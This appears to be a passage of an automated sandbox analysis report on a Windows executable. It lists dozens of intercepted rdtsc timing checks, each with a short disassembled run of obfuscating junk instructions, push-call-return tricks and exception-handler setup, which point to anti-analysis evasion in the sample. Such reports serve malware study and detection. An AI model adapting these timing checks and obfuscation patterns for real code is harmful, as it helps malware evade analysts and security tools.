Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140509D second address: 140511D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA94CE91938h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+122D2D98h], eax 0x00000015 or dword ptr [ebp+122D31D3h], ebx 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007FA94CE91928h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 mov edi, 6317AEC3h 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push edx 0x00000041 call 00007FA94CE91928h 0x00000046 pop edx 0x00000047 mov dword ptr [esp+04h], edx 0x0000004b add dword ptr [esp+04h], 00000015h 0x00000053 inc edx 0x00000054 push edx 0x00000055 ret 0x00000056 pop edx 0x00000057 ret 0x00000058 xchg eax, esi 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c pushad 0x0000005d popad 0x0000005e push ecx 0x0000005f pop ecx 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140511D second address: 140512D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13FEC22 second address: 13FEC2C instructions: 0x00000000 rdtsc 0x00000002 je 00007FA94CE91926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140343B second address: 140343F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140611A second address: 140611E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140611E second address: 140612C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FA94CE93526h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140612C second address: 1406130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140719D second address: 14071A3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14071A3 second address: 14071A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14071A9 second address: 14071AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14062C6 second address: 14062CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14062CA second address: 14062ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FA94CE93537h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140A49B second address: 140A4A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140A4A5 second address: 140A4AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140A4AB second address: 140A4B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140855A second address: 14085F4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 js 00007FA94CE93526h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FA94CE93528h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 push dword ptr fs:[00000000h] 0x00000030 push 00000000h 0x00000032 push edi 0x00000033 call 00007FA94CE93528h 0x00000038 pop edi 0x00000039 mov dword ptr [esp+04h], edi 0x0000003d add dword ptr [esp+04h], 0000001Ah 0x00000045 inc edi 0x00000046 push edi 0x00000047 ret 0x00000048 pop edi 0x00000049 ret 0x0000004a call 00007FA94CE93530h 0x0000004f mov bx, si 0x00000052 pop edi 0x00000053 mov bx, di 0x00000056 mov dword ptr fs:[00000000h], esp 0x0000005d mov ebx, 368724C1h 0x00000062 mov eax, dword ptr [ebp+122D0169h] 0x00000068 stc 0x00000069 push FFFFFFFFh 0x0000006b mov ebx, dword ptr [ebp+122D1B42h] 0x00000071 nop 0x00000072 pushad 0x00000073 jns 00007FA94CE93528h 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140A4B0 second address: 140A4B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140A4B6 second address: 140A4BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14085F4 second address: 14085F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14085F8 second address: 1408604 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140A4BA second address: 140A518 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FA94CE91928h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 mov di, EDA2h 0x00000027 mov bl, dl 0x00000029 push 00000000h 0x0000002b mov ebx, eax 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007FA94CE91928h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 0000001Ah 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c push esi 0x0000004d push ecx 0x0000004e pop ecx 0x0000004f pop esi 0x00000050 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1408604 second address: 140860A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1409560 second address: 1409566 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1409566 second address: 140956A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140A695 second address: 140A69B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140A69B second address: 140A6A5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA94CE9352Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140D6C4 second address: 140D717 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA94CE91926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007FA94CE91946h 0x00000010 jnp 00007FA94CE91938h 0x00000016 js 00007FA94CE91926h 0x0000001c jmp 00007FA94CE9192Ch 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 jo 00007FA94CE91928h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140E1EB second address: 140E1FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA94CE9352Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140E1FF second address: 140E204 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140B760 second address: 140B76D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140B76D second address: 140B771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140B771 second address: 140B789 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE93534h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140B789 second address: 140B78F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 140B78F second address: 140B793 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14147E5 second address: 14147ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1414A7C second address: 1414AA5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA94CE93526h 0x00000008 jne 00007FA94CE93526h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FA94CE93532h 0x00000015 pop esi 0x00000016 pushad 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 141CF74 second address: 141CF7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 141D0D2 second address: 141D0E3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA94CE93526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push ebx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 141D187 second address: 141D1A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FA94CE91936h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 141D1A5 second address: 141D1D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FA94CE9352Ch 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push ecx 0x00000011 jno 00007FA94CE9352Ch 0x00000017 pop ecx 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push edx 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 141D1D3 second address: 141D1D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13B5695 second address: 13B56CF instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA94CE9352Eh 0x00000008 jmp 00007FA94CE93536h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jl 00007FA94CE93538h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FA94CE9352Ah 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14216D6 second address: 14216EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007FA94CE91930h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14216EF second address: 1421719 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA94CE9353Eh 0x00000008 jmp 00007FA94CE93536h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007FA94CE93526h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1421845 second address: 1421849 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1421849 second address: 1421877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FA94CE93537h 0x0000000c jmp 00007FA94CE9352Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1421A24 second address: 1421A29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1421E2C second address: 1421E32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1424F44 second address: 1424F4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1429149 second address: 142915F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FA94CE9352Bh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1429735 second address: 1429744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jns 00007FA94CE91926h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1429889 second address: 14298BF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jnl 00007FA94CE93526h 0x0000000f pop ebx 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007FA94CE9353Fh 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14298BF second address: 14298C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14298C3 second address: 14298C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1428ECD second address: 1428ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1428ED4 second address: 1428EE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FA94CE93526h 0x0000000a jnp 00007FA94CE93526h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1428EE4 second address: 1428EEE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA94CE91926h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1429D18 second address: 1429D26 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA94CE93526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1429D26 second address: 1429D40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA94CE91936h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1429D40 second address: 1429D6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE93533h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b je 00007FA94CE9352Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1429D6B second address: 1429D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FA94CE91926h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13B71A9 second address: 13B71AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13B71AD second address: 13B71CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FA94CE9192Ch 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007FA94CE91926h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13B71CA second address: 13B71CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13B71CE second address: 13B71E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 je 00007FA94CE91926h 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13B71E0 second address: 13B71E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13B71E8 second address: 13B71EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 142D86C second address: 142D874 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 142D874 second address: 142D878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13EBF3F second address: 13EBF63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE93534h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e jc 00007FA94CE93526h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13EBF63 second address: 13D497A instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA94CE91928h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d add edi, dword ptr [ebp+122D17D7h] 0x00000013 lea eax, dword ptr [ebp+1248ECA1h] 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007FA94CE91928h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 push edi 0x00000034 call 00007FA94CE91934h 0x00000039 mov cx, dx 0x0000003c pop edi 0x0000003d pop ecx 0x0000003e mov dword ptr [ebp+122D32ACh], edi 0x00000044 push eax 0x00000045 jmp 00007FA94CE9192Fh 0x0000004a mov dword ptr [esp], eax 0x0000004d jmp 00007FA94CE91930h 0x00000052 clc 0x00000053 call dword ptr [ebp+122D31C8h] 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13EC06C second address: 13EC072 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13EC072 second address: 13EC102 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9192Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push ecx 0x0000000d xor dword ptr [ebp+122D1B2Bh], edx 0x00000013 pop edx 0x00000014 sub edx, 785C4920h 0x0000001a push dword ptr fs:[00000000h] 0x00000021 add dword ptr [ebp+122D2D98h], edi 0x00000027 mov dword ptr fs:[00000000h], esp 0x0000002e mov edx, 4EC0E8CDh 0x00000033 mov dword ptr [ebp+1248ECF9h], esp 0x00000039 xor edi, dword ptr [ebp+122D1A79h] 0x0000003f cmp dword ptr [ebp+122D27E7h], 00000000h 0x00000046 jne 00007FA94CE919FCh 0x0000004c mov cl, 79h 0x0000004e mov byte ptr [ebp+122D2228h], 00000047h 0x00000055 push 00000000h 0x00000057 push esi 0x00000058 call 00007FA94CE91928h 0x0000005d pop esi 0x0000005e mov dword ptr [esp+04h], esi 0x00000062 add dword ptr [esp+04h], 0000001Bh 0x0000006a inc esi 0x0000006b push esi 0x0000006c ret 0x0000006d pop esi 0x0000006e ret 0x0000006f and cl, 00000060h 0x00000072 mov eax, D49AA7D2h 0x00000077 cmc 0x00000078 nop 0x00000079 pushad 0x0000007a pushad 0x0000007b push esi 0x0000007c pop esi 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13EC3E4 second address: 13EC3F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9352Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13EC3F2 second address: 13EC400 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA94CE9192Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13EC50C second address: 13EC518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13EC713 second address: 13EC71A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ED139 second address: 13ED150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jmp 00007FA94CE9352Ch 0x0000000f pop eax 0x00000010 rdtsc
